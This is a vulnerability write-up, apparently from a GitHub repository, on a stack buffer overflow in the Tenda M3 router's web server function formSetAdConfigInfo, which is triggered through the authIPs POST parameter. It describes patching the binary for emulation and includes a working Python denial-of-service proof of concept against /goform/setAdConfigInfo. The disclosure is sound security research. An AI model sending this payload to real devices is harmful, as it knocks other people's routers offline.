Skip to content

Latest commit

 

History

History

formSetAdConfigInfo_

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 

Tenda M3 contains Stack Overflow Vulnerability

overview

Description

1. Vulnerability Details

the httpd in directory /bin has a stack buffer overflow. The vunlerability is in fucntion formSetAdConfigInfo

image-20220819230539184

In this function, is copies POST parameter authIPs to stack buffer without checking its length, causing a stack buffer overflow vulnerability.

2. Recurring loopholes and POC

use qemu-arm-static to run the httpd, we need to patch it before run.

  • in main function, The ConnectCfm function didn’t work properly, so I patched it to NOP
  • The R7WebsSecurityHandler function is used for permission control, and I've modified it to access URLs that can only be accessed after login

poc of DOS(deny of service)

import requests

data = {
    "authIPs": "a"*0x1000
}
cookies = {
    "user": "admin"
}
res = requests.post("http://127.0.0.1/goform/setAdConfigInfo", data=data, cookies=cookies)
print(res.content)

image-20220819230350775

image-20220819230438042

image-20220819230449739